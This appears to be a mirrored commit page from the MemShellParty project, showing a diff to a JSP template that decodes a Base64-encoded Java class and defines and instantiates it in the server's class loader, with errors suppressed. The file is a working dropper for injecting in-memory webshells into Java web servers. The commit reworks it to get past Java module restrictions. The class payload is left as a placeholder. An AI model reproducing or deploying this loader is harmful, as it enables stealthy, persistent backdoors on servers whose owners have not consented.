archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-24 07:51:52 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

fix: jsp execute fail in module system

Browse Source
This commit is contained in:
ReaJason
2024-12-14 16:56:53 +08:00
parent 82fddf702f
commit 13ddea499a
1 changed files with 42 additions and 33 deletions
Download Patch File Download Diff File Expand all files Collapse all files
generator/src/main/resources/shell.jsp
+42 -33
View File
@@ -1,42 +1,51 @@
<%@ page import="java.lang.Class" %>
<%@ page import="java.lang.ClassLoader" %>
<%@ page import="java.lang.Exception" %>
<%@ page import="java.lang.Object" %>
<%@ page import="java.lang.String" %>
<%@ page import="java.lang.Thread" %>
<%! <%!
public byte[] decodeBase64(String bytecodeBase64) { public static class ClassDefiner extends ClassLoader {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); public ClassDefiner() {
try { super(Thread.currentThread().getContextClassLoader());
Class<?> base64Clz = classLoader.loadClass("java.util.Base64"); }
Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); public byte[] decodeBase64(String bytecodeBase64) {
return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64); ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
} catch (Exception ee) {
try { try {
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); Class<?> base64Clz = classLoader.loadClass("java.util.Base64");
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64); Class<?> decoderClz = classLoader.loadClass("java.util.Base64$Decoder");
} catch (Exception e) { Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz);
return null; return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64);
} catch (Exception ee) {
try {
Class<?> datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64);
} catch (Exception e) {
return null;
}
} }
} }
public Class<?> defineClass(byte[] code) {
return defineClass(null, code, 0, code.length);
}
@Override
public String toString() {
String className = "{{className}}";
String base64Str = "{{base64Str}}";
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
classLoader.loadClass(className).newInstance();
} catch (Exception e) {
try {
byte[] bytecode = decodeBase64(base64Str);
// 不弄反射啦，以免高版本这儿报 module 限制
Class<?> clazz = defineClass(bytecode);
clazz.newInstance();
} catch (Exception ignored) {
}
}
return className;
}
} }
%> %>
<% <%
String className = "{{className}}"; new ClassDefiner().toString();
String base64Str = "{{base64Str}}";
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
classLoader.loadClass(className).newInstance();
} catch (Exception e) {
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] bytecode = decodeBase64(base64Str);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, bytecode, 0, bytecode.length);
clazz.newInstance();
} catch (Exception ignored) {
}
}
%> %>